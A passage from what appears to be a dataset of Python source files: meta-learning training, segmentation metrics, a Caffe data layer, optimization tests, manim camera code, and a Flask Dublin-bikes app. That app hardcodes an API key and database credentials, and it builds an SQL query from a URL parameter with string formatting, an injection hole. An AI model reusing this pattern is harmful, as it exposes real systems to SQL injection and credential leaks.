mode='nearest').squeeze()\r\n # import ipdb;ipdb.set_trace()\r\n final_cos = final_cos * cos_similarity\r\n cos_lists.append(cos_similarity)\r\n # import ipdb;ipdb.set_trace()\r\n final_cos = (final_cos - final_cos.min()) / \\\r\n (final_cos.max() - final_cos.min())\r\n cos_lists.append(final_cos)\r\n ## TODO: Here should be changed to unravel_index\r\n chosen_landmark = final_cos.argmax().item()\r\n pred_landmarks_y.append(chosen_landmark // 384)\r\n pred_landmarks_x.append(chosen_landmark % 384)\r\n ##\r\n debug = torch.cat(cos_lists, 1).cpu()\r\n\r\n a_landmark = landmark_list[id_mark]\r\n pred_landmark = (chosen_landmark % 384, chosen_landmark // 384)\r\n if draw:\r\n gray_to_PIL2(debug.cpu().detach(), pred_landmark, a_landmark).save( \\\r\n tfilename(config['base']['runs_dir'], 'visuals', str(ID), f'{id_mark + 1}_debug_w_gt.jpg'))\r\n\r\n preds = [np.array(pred_landmarks_y), np.array(pred_landmarks_x)]\r\n self.evaluater.record_hand(preds, landmark_list, img_shape)\r\n\r\n # Optional Save viusal results\r\n if draw:\r\n image_pred = visualize(img, preds, landmark_list)\r\n image_pred.save(tfilename(config['base']['runs_dir'], 'visuals', str(ID), 'pred.png'))\r\n\r\n if dump_label:\r\n name = self.dataset.return_img_name(index)\r\n inference_marks = {id: [int(preds[1][id]), \\\r\n int(preds[0][id])] for id in range(37)}\r\n pth = tfilename(config['base']['runs_dir'], 'pseudo_labels_init', f\"{name[-4]}.json\")\r\n with open(pth, 'w') as f:\r\n json.dump(inference_marks, f)\r\n print(\"Dumped JSON file:\", pth, end=\"\\r\")\r\n\r\n ID += 1\r\n\r\n return self.evaluater.cal_metrics()\r\n\r\n" ]
[ [ "numpy.array", "torch.cat", "torch.norm", "torch.clamp", "numpy.stack", "torch.tensor", "torch.utils.data.DataLoader", "torch.ones_like" ] ]
joeljosephjin/pytorch-maml
[ "8e76bfa8b672edc42285897ace17cdc618e353ea" ]
[ "train.py" ]
[ "import torch\nimport math\nimport os\nimport time\nimport json\nimport logging\n\nfrom torchmeta.utils.data import BatchMetaDataLoader\n\nfrom maml.datasets import get_benchmark_by_name\nfrom maml.metalearners import ModelAgnosticMetaLearning\n\ndef main(args):\n logging.basicConfig(level=logging.DEBUG if args.verbose else logging.INFO)\n device = torch.device('cuda' if args.use_cuda\n and torch.cuda.is_available() else 'cpu')\n\n if (args.output_folder is not None):\n if not os.path.exists(args.output_folder):\n os.makedirs(args.output_folder)\n logging.debug('Creating folder `{0}`'.format(args.output_folder))\n\n folder = os.path.join(args.output_folder,\n time.strftime('%Y-%m-%d_%H%M%S'))\n os.makedirs(folder)\n logging.debug('Creating folder `{0}`'.format(folder))\n\n args.folder = os.path.abspath(args.folder)\n args.model_path = os.path.abspath(os.path.join(folder, 'model.th'))\n # Save the configuration in a config.json file\n with open(os.path.join(folder, 'config.json'), 'w') as f:\n json.dump(vars(args), f, indent=2)\n logging.info('Saving configuration file in `{0}`'.format(\n os.path.abspath(os.path.join(folder, 'config.json'))))\n\n benchmark = get_benchmark_by_name(args.dataset,\n args.folder,\n args.num_ways,\n args.num_shots,\n args.num_shots_test,\n hidden_size=args.hidden_size)\n\n meta_train_dataloader = BatchMetaDataLoader(benchmark.meta_train_dataset,\n batch_size=args.batch_size,\n shuffle=True,\n num_workers=args.num_workers,\n pin_memory=True)\n meta_val_dataloader = BatchMetaDataLoader(benchmark.meta_val_dataset,\n batch_size=args.batch_size,\n shuffle=True,\n num_workers=args.num_workers,\n pin_memory=True)\n\n meta_optimizer = torch.optim.Adam(benchmark.model.parameters(), lr=args.meta_lr)\n metalearner = ModelAgnosticMetaLearning(benchmark.model,\n meta_optimizer,\n first_order=args.first_order,\n num_adaptation_steps=args.num_steps,\n step_size=args.step_size,\n loss_function=benchmark.loss_function,\n device=device)\n\n best_value = None\n\n # Training loop\n epoch_desc = 'Epoch {{0: <{0}d}}'.format(1 + int(math.log10(args.num_epochs)))\n for epoch in range(args.num_epochs):\n print('epoch:', epoch)\n \n metalearner.train(meta_train_dataloader,\n max_batches=args.num_batches,\n verbose=args.verbose,\n desc='Training',\n leave=False)\n results = metalearner.evaluate(meta_val_dataloader,\n max_batches=args.num_batches,\n verbose=args.verbose,\n desc=epoch_desc.format(epoch + 1))\n\n # Save best model\n if 'accuracies_after' in results:\n if (best_value is None) or (best_value < results['accuracies_after']):\n best_value = results['accuracies_after']\n save_model = True\n elif (best_value is None) or (best_value > results['mean_outer_loss']):\n best_value = results['mean_outer_loss']\n save_model = True\n else:\n save_model = False\n\n if save_model and (args.output_folder is not None):\n with open(args.model_path, 'wb') as f:\n torch.save(benchmark.model.state_dict(), f)\n\n if hasattr(benchmark.meta_train_dataset, 'close'):\n benchmark.meta_train_dataset.close()\n benchmark.meta_val_dataset.close()\n\n\nif __name__ == '__main__':\n import argparse\n\n parser = argparse.ArgumentParser('MAML')\n\n # General\n parser.add_argument('folder', type=str,\n help='Path to the folder the data is downloaded to.')\n parser.add_argument('--dataset', type=str,\n choices=['sinusoid', 'omniglot', 'miniimagenet'], default='omniglot',\n help='Name of the dataset (default: omniglot).')\n parser.add_argument('--output-folder', type=str, default=None,\n help='Path to the output folder to save the model.')\n parser.add_argument('--num-ways', type=int, default=5,\n help='Number of classes per task (N in \"N-way\", default: 5).')\n parser.add_argument('--num-shots', type=int, default=5,\n help='Number of training example per class (k in \"k-shot\", default: 5).')\n parser.add_argument('--num-shots-test', type=int, default=15,\n help='Number of test example per class. If negative, same as the number '\n 'of training examples `--num-shots` (default: 15).')\n\n # Model\n parser.add_argument('--hidden-size', type=int, default=64,\n help='Number of channels in each convolution layer of the VGG network '\n '(default: 64).')\n\n # Optimization\n parser.add_argument('--batch-size', type=int, default=25,\n help='Number of tasks in a batch of tasks (default: 25).')\n parser.add_argument('--num-steps', type=int, default=1,\n help='Number of fast adaptation steps, ie. gradient descent '\n 'updates (default: 1).')\n parser.add_argument('--num-epochs', type=int, default=50,\n help='Number of epochs of meta-training (default: 50).')\n parser.add_argument('--num-batches', type=int, default=100,\n help='Number of batch of tasks per epoch (default: 100).')\n parser.add_argument('--step-size', type=float, default=0.1,\n help='Size of the fast adaptation step, ie. learning rate in the '\n 'gradient descent update (default: 0.1).')\n parser.add_argument('--first-order', action='store_true',\n help='Use the first order approximation, do not use higher-order '\n 'derivatives during meta-optimization.')\n parser.add_argument('--meta-lr', type=float, default=0.001,\n help='Learning rate for the meta-optimizer (optimization of the outer '\n 'loss). The default optimizer is Adam (default: 1e-3).')\n\n # Misc\n parser.add_argument('--num-workers', type=int, default=1,\n help='Number of workers to use for data-loading (default: 1).')\n parser.add_argument('--verbose', action='store_true')\n parser.add_argument('--use-cuda', action='store_true')\n\n args = parser.parse_args()\n\n if args.num_shots_test <= 0:\n args.num_shots_test = args.num_shots\n\n main(args)\n" ]
[ [ "torch.cuda.is_available" ] ]
StephenC19/dublinbikes
[ "7b6de29e291f158ded4f068cf820897a50c1e115" ]
[ "dublinbikes/app/views.py" ]
[ "\"\"\"\nFlask file to create web page using information read from a database\n\"\"\"\nfrom flask import render_template, jsonify, json, g, Flask\nfrom sqlalchemy import create_engine\nfrom app import app\nimport pandas as pd\nimport requests\nimport datetime\nfrom datetime import date\n\n\ndef connect_to_database():\n \"\"\"Connects to amazon RDS\"\"\"\n engine = create_engine(\"mysql+mysqldb://dbuser:[email protected]/dublinbikes\", echo=True)\n return engine\n\ndef get_db():\n \"\"\"Connects to the database if not already connected\"\"\"\n db = getattr(g, '_database', None)\n if db is None:\n db = g._database = connect_to_database()\n return db\n\[email protected](\"/stations\")\ndef get_all_stations():\n \"\"\"Querying the database for real time information for all stations. Returns JSON object\"\"\"\n engine = get_db()\n sql = \"SELECT number, name, latitude, longitude, bikes_available, stands_available from realtime;\"\n rows = engine.execute(sql).fetchall()\n return jsonify(stations=[dict(row.items()) for row in rows])\n\[email protected](\"/weather\")\ndef query_weather():\n \"\"\"Queries Open Weather API for current weather information of Dublin City. Parses input and returns dictionary\n of relevant weather information as well current date and time\"\"\"\n r = requests.get('http://api.openweathermap.org/data/2.5/weather?q=Dublin&APPID=094f61b4b2da3c4541e43364bab71b0b')\n r = r.json()\n now = datetime.datetime.now()\n weatherInfo= {'main': r['weather'][0]['main'], \n 'detail': r['weather'][0]['description'], \n 'temp': r['main']['temp'],\n 'temp_min': r['main']['temp_min'],\n 'temp_max': r['main']['temp_max'],\n 'wind': r['wind']['speed'],\n 'icon': r['weather'][0]['icon'],\n 'date': now.strftime(\"%d-%m-%Y\")}\n return jsonify(weatherInfo=weatherInfo) \n\[email protected]('/chartDataframe/<int:station_id>/<string:date>')\ndef chartDataframe(station_id,date):\n \"\"\"Queries database for historical information of station occupancy, taking in station number and the date as parameters.\n Returns json object of the necessary information to plot info chart\"\"\"\n\n day = \"'\" + date + \"'\"\n engine = get_db()\n sql = \"\"\"select bikes_available, stands_available, time, date from stations where number = {} AND date = {};\"\"\".format(station_id,day)\n df = pd.read_sql_query(sql, engine)\n df =df.to_json(orient='index')\n df = jsonify(df)\n return df\n\n\[email protected]('/', methods=['GET'])\ndef index():\n \"\"\"Loads index.html\"\"\"\n get_db()\n get_all_stations()\n return render_template(\"index1.html\")\n\n" ]
[ [ "pandas.read_sql_query" ] ]
geoyee/PdRSCD
[ "612976225201d78adc7ff99529ada17b41fedc5d" ]
[ "ppcd/metrics/metrics.py" ]
[ "import numpy as np\nimport paddle\nimport paddle.nn.functional as F\n\n\ndef calculate_area(pred, label, num_classes, ignore_index=255):\n \"\"\"\n Calculate intersect, prediction and label area\n Args:\n pred (Tensor): The prediction by model.\n label (Tensor): The ground truth of image.\n num_classes (int): The unique number of target classes.\n ignore_index (int): Specifies a target value that is ignored. Default: 255.\n Returns:\n Tensor: The intersection area of prediction and the ground on all class.\n Tensor: The prediction area on all class.\n Tensor: The ground truth area on all class\n \"\"\"\n if len(pred.shape) == 4:\n pred = paddle.squeeze(pred, axis=1)\n if len(label.shape) == 4:\n label = paddle.squeeze(label, axis=1)\n if not pred.shape == label.shape:\n raise ValueError('Shape of `pred` and `label should be equal, '\n 'but there are {} and {}.'.format(pred.shape, label.shape))\n # print(set(pred.numpy().flatten()))\n # print(set(label.numpy().flatten()))\n # Delete ignore_index\n mask = label != ignore_index\n pred = pred + 1\n label = label + 1\n pred = pred * mask\n label = label * mask\n pred = F.one_hot(pred, num_classes + 1)\n label = F.one_hot(label, num_classes + 1)\n pred = pred[:, :, :, 1:]\n label = label[:, :, :, 1:]\n pred_area = []\n label_area = []\n intersect_area = []\n for i in range(num_classes):\n pred_i = pred[:, :, :, i]\n label_i = label[:, :, :, i]\n pred_area_i = paddle.sum(pred_i)\n label_area_i = paddle.sum(label_i)\n intersect_area_i = paddle.sum(pred_i * label_i)\n pred_area.append(pred_area_i)\n label_area.append(label_area_i)\n intersect_area.append(intersect_area_i)\n pred_area = paddle.concat(pred_area)\n label_area = paddle.concat(label_area)\n intersect_area = paddle.concat(intersect_area)\n return intersect_area, pred_area, label_area\n\n\ndef get_mean_iou(intersect_area, pred_area, label_area):\n \"\"\"\n Calculate iou.\n Args:\n intersect_area (Tensor): The intersection area of prediction and ground truth on all classes.\n pred_area (Tensor): The prediction area on all classes.\n label_area (Tensor): The ground truth area on all classes.\n Returns:\n np.ndarray: iou on all classes.\n float: mean iou of all classes.\n \"\"\"\n intersect_area = intersect_area.numpy()\n pred_area = pred_area.numpy()\n label_area = label_area.numpy()\n union = pred_area + label_area - intersect_area\n class_iou = []\n for i in range(len(intersect_area)):\n if union[i] == 0:\n iou = 0\n else:\n iou = intersect_area[i] / union[i]\n class_iou.append(iou)\n miou = np.mean(class_iou)\n return np.array(class_iou), miou\n\n\ndef get_accuracy_f1(intersect_area, pred_area, label_area):\n \"\"\"\n Calculate accuracy\n Args:\n intersect_area (Tensor): The intersection area of prediction and ground truth on all classes.\n pred_area (Tensor): The prediction area on all classes.\n label_area (Tensor): The GT area on all classes.\n Returns:\n np.ndarray: accuracy on all classes.\n float: mean accuracy.\n np.ndarray: recall on all classes.\n float: mean recall.\n \"\"\"\n intersect_area = intersect_area.numpy()\n pred_area = pred_area.numpy()\n label_area = label_area.numpy()\n class_acc = []\n class_rcl = []\n for i in range(len(intersect_area)):\n if pred_area[i] == 0:\n acc = 0\n else:\n acc = intersect_area[i] / pred_area[i]\n if label_area[i] == 0:\n recall = 0\n else:\n recall = intersect_area[i] / label_area[i]\n class_acc.append(acc)\n class_rcl.append(recall)\n macc = np.sum(intersect_area) / np.sum(pred_area)\n class_acc = np.array(class_acc)\n class_rcl = np.array(class_rcl)\n f1_cls = (2 * class_acc * class_rcl) / (class_acc + class_rcl + 1e-12)\n mf1 = np.mean(f1_cls)\n return class_acc, macc, f1_cls, mf1\n\n\ndef get_kappa(intersect_area, pred_area, label_area):\n \"\"\"\n Calculate kappa coefficient\n Args:\n intersect_area (Tensor): The intersection area of prediction and ground truth on all classes.\n pred_area (Tensor): The prediction area on all classes.\n label_area (Tensor): The ground truth area on all classes.\n\n Returns:\n float: kappa coefficient.\n \"\"\"\n intersect_area = intersect_area.numpy()\n pred_area = pred_area.numpy()\n label_area = label_area.numpy()\n total_area = np.sum(label_area)\n po = np.sum(intersect_area) / total_area\n pe = np.sum(pred_area * label_area) / (total_area * total_area)\n kappa = (po - pe) / (1 - pe + 1e-12)\n return kappa\n\n\ndef ComputAccuracy(preds, labs, num_classes=2, ignore_index=255):\n preds = preds.astype('int32')\n labs = labs.astype('int32')\n intersect_area, pred_area, label_area = calculate_area(preds, labs, num_classes, ignore_index)\n class_iou, miou = get_mean_iou(intersect_area, pred_area, label_area)\n class_acc, macc, class_f1, mf1 = get_accuracy_f1(intersect_area, pred_area, label_area)\n kappa = get_kappa(intersect_area, pred_area, label_area)\n return miou, class_iou, macc, class_acc, mf1, class_f1, kappa" ]
[ [ "numpy.sum", "numpy.array", "numpy.mean" ] ]
synapticarbors/sk-dist
[ "e5729e62fbdb7b8513be1c4fd0d463d8aec5b837" ]
[ "examples/search/nested.py" ]
[ "\"\"\"\n===================================================================\nNest sk-dist estimators to fit models on `make_classification` data\n===================================================================\n\nIn this example, we show nesting of sk-dist estimator. An important\nnote with nesting: sk-dist meta-estimators need to be used to \nnest other sk-dist meta-estimators. Using GridSearchCV from sklearn\nwith a base estimator of DistRandomForestClassifier will not work.\nHandling for this is built into sk-dist, so that appropriate steps\nare taken to deal with the sparkContext attribute which does not\nlike to be cloned with sklearn cloning behavior.\n\nMeta-estimators with sk-dist will mirror their sklearn counterparts\nwhen sc=None as shown in this example. Where you input the sc input \nvariable will determine which nesting step uses spark. \n\nWe try three different nesting scenarios:\nDistGridSearchCV -> DistOneVsRestClassifier\nDistGridSearchCV -> DistOneVsOneClassifier\nDistGridSearchCV -> DistRandomForestClassifier\n\nThis is an interesting example where we first see the power\nof the less popular one-vs-one strategy vs the more popular\none-vs-rest strategy. Then finally a random forest wins out\nwith native multiclass behavior.\n\nHere is a sample output run:\n\n mean_test_score param_estimator__C\n0 0.345504 0.01\n1 0.342376 0.1\n2 0.341867 1\n3 0.341769 10\n4 0.341758 20\n5 0.341758 50\n mean_test_score param_estimator__C\n0 0.578317 0.01\n1 0.600177 0.1\n2 0.604638 1\n3 0.605436 10\n4 0.605495 20\n5 0.605522 50\n mean_test_score param_max_depth\n0 0.597794 10\n1 0.677944 20\n2 0.675356 None\n\"\"\"\nprint(__doc__)\n\nimport pandas as pd\n\nfrom sklearn.datasets import make_classification\nfrom sklearn.linear_model import LogisticRegression\nfrom skdist.distribute.multiclass import DistOneVsRestClassifier, DistOneVsOneClassifier\nfrom skdist.distribute.search import DistGridSearchCV\nfrom skdist.distribute.ensemble import DistRandomForestClassifier\nfrom pyspark.sql import SparkSession\n\n# instantiate spark session\nspark = SparkSession.builder.getOrCreate()\nsc = spark.sparkContext\n\n# params\nscoring = \"f1_weighted\"\ncv = 5\nparams = [0.01, 0.1, 1.0, 10.0, 20.0, 50.0]\n\n# create dataset\nX, y = make_classification(\n n_samples=100000,\n n_features=40,\n n_informative=36,\n n_redundant=1,\n n_repeated=1,\n n_classes=40,\n n_clusters_per_class=1,\n random_state=5,\n)\n\n# one nested example\nmodel = DistGridSearchCV(\n DistOneVsRestClassifier(LogisticRegression(solver=\"liblinear\"), sc=sc),\n {\"estimator__C\": params},\n cv=cv,\n scoring=scoring,\n)\nmodel.fit(X, y)\nprint(pd.DataFrame(model.cv_results_)[[\"mean_test_score\", \"param_estimator__C\"]])\n\n# another nested example\nmodel = DistGridSearchCV(\n DistOneVsOneClassifier(LogisticRegression(solver=\"liblinear\"), sc=sc),\n {\"estimator__C\": params},\n cv=cv,\n scoring=scoring,\n)\nmodel.fit(X, y)\nprint(pd.DataFrame(model.cv_results_)[[\"mean_test_score\", \"param_estimator__C\"]])\n\n# a final nested example\nmodel = DistGridSearchCV(\n DistRandomForestClassifier(sc=sc, n_estimators=100),\n {\"max_depth\": [10, 20, None], \"n_estimators\": [100]},\n cv=cv,\n scoring=scoring,\n)\nmodel.fit(X, y)\nprint(pd.DataFrame(model.cv_results_)[[\"mean_test_score\", \"param_max_depth\"]])\n" ]
[ [ "sklearn.linear_model.LogisticRegression", "pandas.DataFrame", "sklearn.datasets.make_classification" ] ]
phschiele/diffcp
[ "4cca038ddb4242150ebfacc6b0e2ae9261ed3c1a" ]
[ "tests/test_ecos.py" ]
[ "import cvxpy as cp\nimport numpy as np\nimport pytest\nfrom scipy import sparse\n\nimport diffcp.cone_program as cone_prog\nimport diffcp.cones as cone_lib\nimport diffcp.utils as utils\n\n\ndef test_ecos_solve():\n np.random.seed(0)\n m = 20\n n = 10\n\n A, b, c, cone_dims = utils.least_squares_eq_scs_data(m, n)\n cone_dims.pop(\"q\")\n cone_dims.pop(\"s\")\n cone_dims.pop(\"ep\")\n x, y, s, derivative, adjoint_derivative = cone_prog.solve_and_derivative(\n A, b, c, cone_dims, solve_method=\"ECOS\")\n\n # check optimality conditions\n np.testing.assert_allclose(A @ x + s, b, atol=1e-8)\n np.testing.assert_allclose(A.T @ y + c, 0, atol=1e-8)\n np.testing.assert_allclose(s @ y, 0, atol=1e-8)\n np.testing.assert_allclose(s, cone_lib.pi(\n s, cone_lib.parse_cone_dict(cone_dims), dual=False), atol=1e-8)\n np.testing.assert_allclose(y, cone_lib.pi(\n y, cone_lib.parse_cone_dict(cone_dims), dual=True), atol=1e-8)\n\n x = cp.Variable(10)\n prob = cp.Problem(cp.Minimize(cp.sum_squares(np.random.randn(5, 10) @ x) + np.random.randn(10) @ x),\n [cp.norm2(x) <= 1, np.random.randn(2, 10) @ x == np.random.randn(2)])\n A, b, c, cone_dims = utils.scs_data_from_cvxpy_problem(prob)\n x, y, s, derivative, adjoint_derivative = cone_prog.solve_and_derivative(\n A, b, c, cone_dims, solve_method=\"ECOS\")\n\n # check optimality conditions\n np.testing.assert_allclose(A @ x + s, b, atol=1e-8)\n np.testing.assert_allclose(A.T @ y + c, 0, atol=1e-8)\n np.testing.assert_allclose(s @ y, 0, atol=1e-8)\n np.testing.assert_allclose(s, cone_lib.pi(\n s, cone_lib.parse_cone_dict(cone_dims), dual=False), atol=1e-8)\n np.testing.assert_allclose(y, cone_lib.pi(\n y, cone_lib.parse_cone_dict(cone_dims), dual=True), atol=1e-8)\n\n\ndef test_infeasible():\n np.random.seed(0)\n c = np.ones(1)\n b = np.array([1.0, -1.0])\n A = sparse.csc_matrix(np.ones((2, 1)))\n cone_dims = {cone_lib.EQ_DIM: 2}\n with pytest.raises(cone_prog.SolverError, match=r\"Solver ecos returned status Infeasible\"):\n cone_prog.solve_and_derivative(A, b, c, cone_dims, solve_method=\"ECOS\")\n" ]
[ [ "numpy.testing.assert_allclose", "numpy.array", "numpy.random.seed", "numpy.ones", "numpy.random.randn" ] ]
daveredrum/meshed-memory-transformer
[ "6dfbc2ba241b7c1c8deac6114d66542190a77619" ]
[ "bottom-up-attention/lib/roi_data_layer/layer.py" ]
[ "# --------------------------------------------------------\n# Fast R-CNN\n# Copyright (c) 2015 Microsoft\n# Licensed under The MIT License [see LICENSE for details]\n# Written by Ross Girshick\n# --------------------------------------------------------\n\n\"\"\"The data layer used during training to train a Fast R-CNN network.\n\nRoIDataLayer implements a Caffe Python layer.\n\"\"\"\n\nimport caffe\nfrom fast_rcnn.config import cfg\nfrom roi_data_layer.minibatch import get_minibatch\nimport numpy as np\nimport yaml\nfrom multiprocessing import Process, Queue\n\nclass RoIDataLayer(caffe.Layer):\n \"\"\"Fast R-CNN data layer used for training.\"\"\"\n\n def _shuffle_roidb_inds(self, gpu_id=0):\n self.gpu_id = gpu_id\n \"\"\"Randomly permute the training roidb.\"\"\"\n if cfg.TRAIN.ASPECT_GROUPING:\n widths = np.array([r['width'] for r in self._roidb])\n heights = np.array([r['height'] for r in self._roidb])\n horz = (widths >= heights)\n vert = np.logical_not(horz)\n horz_inds = np.where(horz)[0]\n vert_inds = np.where(vert)[0]\n inds = np.hstack((\n np.random.permutation(horz_inds),\n np.random.permutation(vert_inds)))\n inds = np.reshape(inds, (-1, 2))\n np.random.seed(gpu_id)\n row_perm = np.random.permutation(np.arange(inds.shape[0]))\n inds = np.reshape(inds[row_perm, :], (-1,))\n self._perm = inds\n else:\n self._perm = np.random.permutation(np.arange(len(self._roidb)))\n self._cur = 0\n\n def _get_next_minibatch_inds(self):\n \"\"\"Return the roidb indices for the next minibatch.\"\"\"\n if self._cur + cfg.TRAIN.IMS_PER_BATCH >= len(self._roidb):\n self._shuffle_roidb_inds(self.gpu_id)\n\n db_inds = self._perm[self._cur:self._cur + cfg.TRAIN.IMS_PER_BATCH]\n self._cur += cfg.TRAIN.IMS_PER_BATCH\n return db_inds\n\n def _get_next_minibatch(self):\n \"\"\"Return the blobs to be used for the next minibatch.\n\n If cfg.TRAIN.USE_PREFETCH is True, then blobs will be computed in a\n separate process and made available through self._blob_queue.\n \"\"\"\n if cfg.TRAIN.USE_PREFETCH:\n return self._blob_queue.get()\n else:\n db_inds = self._get_next_minibatch_inds()\n minibatch_db = [self._roidb[i] for i in db_inds]\n return get_minibatch(minibatch_db, self._num_classes)\n\n def set_roidb(self, roidb, gpu_id=0):\n \"\"\"Set the roidb to be used by this layer during training.\"\"\"\n self._roidb = roidb\n self._shuffle_roidb_inds(gpu_id)\n if cfg.TRAIN.USE_PREFETCH:\n self._blob_queue = Queue(10)\n self._prefetch_process = BlobFetcher(self._blob_queue,\n self._roidb,\n self._num_classes, gpu_id)\n self._prefetch_process.start()\n # Terminate the child process when the parent exists\n def cleanup():\n print ('Terminating BlobFetcher')\n self._prefetch_process.terminate()\n self._prefetch_process.join()\n import atexit\n atexit.register(cleanup)\n\n def setup(self, bottom, top):\n \"\"\"Setup the RoIDataLayer.\"\"\"\n\n # parse the layer parameter string, which must be valid YAML\n layer_params = yaml.load(self.param_str)\n\n self._num_classes = layer_params['num_classes']\n\n self._name_to_top_map = {}\n\n # data blob: holds a batch of N images, each with 3 channels\n idx = 0\n top[idx].reshape(cfg.TRAIN.IMS_PER_BATCH, 3,\n max(cfg.TRAIN.SCALES), cfg.TRAIN.MAX_SIZE)\n self._name_to_top_map['data'] = idx\n idx += 1\n\n if cfg.TRAIN.HAS_RPN:\n top[idx].reshape(1, 3)\n self._name_to_top_map['im_info'] = idx\n idx += 1\n\n top[idx].reshape(1, 4)\n self._name_to_top_map['gt_boxes'] = idx\n idx += 1\n else: # not using RPN\n # rois blob: holds R regions of interest, each is a 5-tuple\n # (n, x1, y1, x2, y2) specifying an image batch index n and a\n # rectangle (x1, y1, x2, y2)\n top[idx].reshape(1, 5, 1, 1)\n self._name_to_top_map['rois'] = idx\n idx += 1\n\n # labels blob: R categorical labels in [0, ..., K] for K foreground\n # classes plus background\n top[idx].reshape(1, 1, 1, 1)\n self._name_to_top_map['labels'] = idx\n idx += 1\n\n if cfg.TRAIN.BBOX_REG:\n # bbox_targets blob: R bounding-box regression targets with 4\n # targets per class\n num_reg_class = 2 if cfg.TRAIN.AGNOSTIC else self._num_classes\n\n top[idx].reshape(1, num_reg_class * 4, 1, 1)\n self._name_to_top_map['bbox_targets'] = idx\n idx += 1\n\n # bbox_inside_weights blob: At most 4 targets per roi are active;\n # thisbinary vector sepcifies the subset of active targets\n top[idx].reshape(1, num_reg_class * 4, 1, 1)\n self._name_to_top_map['bbox_inside_weights'] = idx\n idx += 1\n\n top[idx].reshape(1, num_reg_class * 4, 1, 1)\n self._name_to_top_map['bbox_outside_weights'] = idx\n idx += 1\n\n print ('RoiDataLayer: name_to_top:', self._name_to_top_map)\n assert len(top) == len(self._name_to_top_map)\n\n def forward(self, bottom, top):\n \"\"\"Get blobs and copy them into this layer's top blob vector.\"\"\"\n blobs = self._get_next_minibatch()\n\n for blob_name, blob in blobs.items():\n top_ind = self._name_to_top_map[blob_name]\n shape = blob.shape\n if len(shape) == 1:\n blob = blob.reshape(blob.shape[0], 1, 1, 1)\n if len(shape) == 2 and blob_name != 'im_info':\n blob = blob.reshape(blob.shape[0], blob.shape[1], 1, 1)\n top[top_ind].reshape(*(blob.shape))\n # Copy data into net's input blobs\n top[top_ind].data[...] = blob.astype(np.float32, copy=False)\n\n def backward(self, top, propagate_down, bottom):\n \"\"\"This layer does not propagate gradients.\"\"\"\n pass\n\n def reshape(self, bottom, top):\n \"\"\"Reshaping happens during the call to forward.\"\"\"\n pass\n\nclass BlobFetcher(Process):\n \"\"\"Experimental class for prefetching blobs in a separate process.\"\"\"\n def __init__(self, queue, roidb, num_classes, gpu_id=0):\n super(BlobFetcher, self).__init__()\n self._queue = queue\n self._roidb = roidb\n self._num_classes = num_classes\n self._perm = None\n self._cur = 0\n self.gpu_id = gpu_id\n np.random.seed(gpu_id)\n self._shuffle_roidb_inds()\n\n def _shuffle_roidb_inds(self):\n \"\"\"Randomly permute the training roidb.\"\"\"\n # TODO(rbg): remove duplicated code\n self._perm = np.random.permutation(np.arange(len(self._roidb)))\n self._cur = 0\n\n def _get_next_minibatch_inds(self):\n \"\"\"Return the roidb indices for the next minibatch.\"\"\"\n # TODO(rbg): remove duplicated code\n if self._cur + cfg.TRAIN.IMS_PER_BATCH >= len(self._roidb):\n self._shuffle_roidb_inds()\n\n db_inds = self._perm[self._cur:self._cur + cfg.TRAIN.IMS_PER_BATCH]\n self._cur += cfg.TRAIN.IMS_PER_BATCH\n return db_inds\n\n def run(self):\n print ('BlobFetcher started')\n while True:\n db_inds = self._get_next_minibatch_inds()\n minibatch_db = [self._roidb[i] for i in db_inds]\n blobs = get_minibatch(minibatch_db, self._num_classes)\n self._queue.put(blobs)\n" ]
[ [ "numpy.logical_not", "numpy.array", "numpy.reshape", "numpy.random.seed", "numpy.random.permutation", "numpy.where", "numpy.arange" ] ]
Zarty55/manim
[ "9d38c7b277ed905887374aa60f15187393e3e1d7" ]
[ "manim/camera/three_d_camera.py" ]
[ "\"\"\"A camera that can be positioned and oriented in three-dimensional space.\"\"\"\n\n__all__ = [\"ThreeDCamera\"]\n\n\nimport numpy as np\n\nfrom .. import config\nfrom ..camera.camera import Camera\nfrom ..constants import *\nfrom ..mobject.three_d_utils import get_3d_vmob_end_corner\nfrom ..mobject.three_d_utils import get_3d_vmob_end_corner_unit_normal\nfrom ..mobject.three_d_utils import get_3d_vmob_start_corner\nfrom ..mobject.three_d_utils import get_3d_vmob_start_corner_unit_normal\nfrom ..mobject.types.point_cloud_mobject import Point\nfrom ..mobject.value_tracker import ValueTracker\nfrom ..utils.color import get_shaded_rgb\nfrom ..utils.simple_functions import clip_in_place\nfrom ..utils.space_ops import rotation_about_z\nfrom ..utils.space_ops import rotation_matrix\nfrom ..utils.family import extract_mobject_family_members\n\n\nclass ThreeDCamera(Camera):\n CONFIG = {\n \"shading_factor\": 0.2,\n \"distance\": 20.0,\n \"default_distance\": 5.0,\n \"phi\": 0, # Angle off z axis\n \"theta\": -90 * DEGREES, # Rotation about z axis\n \"gamma\": 0, # Rotation about normal vector to camera\n \"light_source_start_point\": 9 * DOWN + 7 * LEFT + 10 * OUT,\n \"should_apply_shading\": True,\n \"exponential_projection\": False,\n }\n\n def __init__(self, *args, **kwargs):\n \"\"\"Initializes the ThreeDCamera\n\n Parameters\n ----------\n *args\n Any argument of Camera\n *kwargs\n Any keyword argument of Camera.\n \"\"\"\n Camera.__init__(self, *args, **kwargs)\n self.max_allowable_norm = 3 * config[\"frame_width\"]\n self.phi_tracker = ValueTracker(self.phi)\n self.theta_tracker = ValueTracker(self.theta)\n self.distance_tracker = ValueTracker(self.distance)\n self.gamma_tracker = ValueTracker(self.gamma)\n self.light_source = Point(self.light_source_start_point)\n self._frame_center = Point(kwargs.get(\"frame_center\", ORIGIN))\n self.fixed_orientation_mobjects = dict()\n self.fixed_in_frame_mobjects = set()\n self.reset_rotation_matrix()\n\n @property\n def frame_center(self):\n return self._frame_center.points[0]\n\n @frame_center.setter\n def frame_center(self, point):\n self._frame_center.move_to(point)\n\n def capture_mobjects(self, mobjects, **kwargs):\n self.reset_rotation_matrix()\n Camera.capture_mobjects(self, mobjects, **kwargs)\n\n def get_value_trackers(self):\n \"\"\"Returns list of ValueTrackers of phi, theta, distance and gamma\n\n Returns\n -------\n list\n list of ValueTracker objects\n \"\"\"\n return [\n self.phi_tracker,\n self.theta_tracker,\n self.distance_tracker,\n self.gamma_tracker,\n ]\n\n def modified_rgbas(\n self, vmobject, rgbas\n ): # TODO: Write DocStrings for this method.\n if not self.should_apply_shading:\n return rgbas\n if vmobject.shade_in_3d and (vmobject.get_num_points() > 0):\n light_source_point = self.light_source.points[0]\n if len(rgbas) < 2:\n shaded_rgbas = rgbas.repeat(2, axis=0)\n else:\n shaded_rgbas = np.array(rgbas[:2])\n shaded_rgbas[0, :3] = get_shaded_rgb(\n 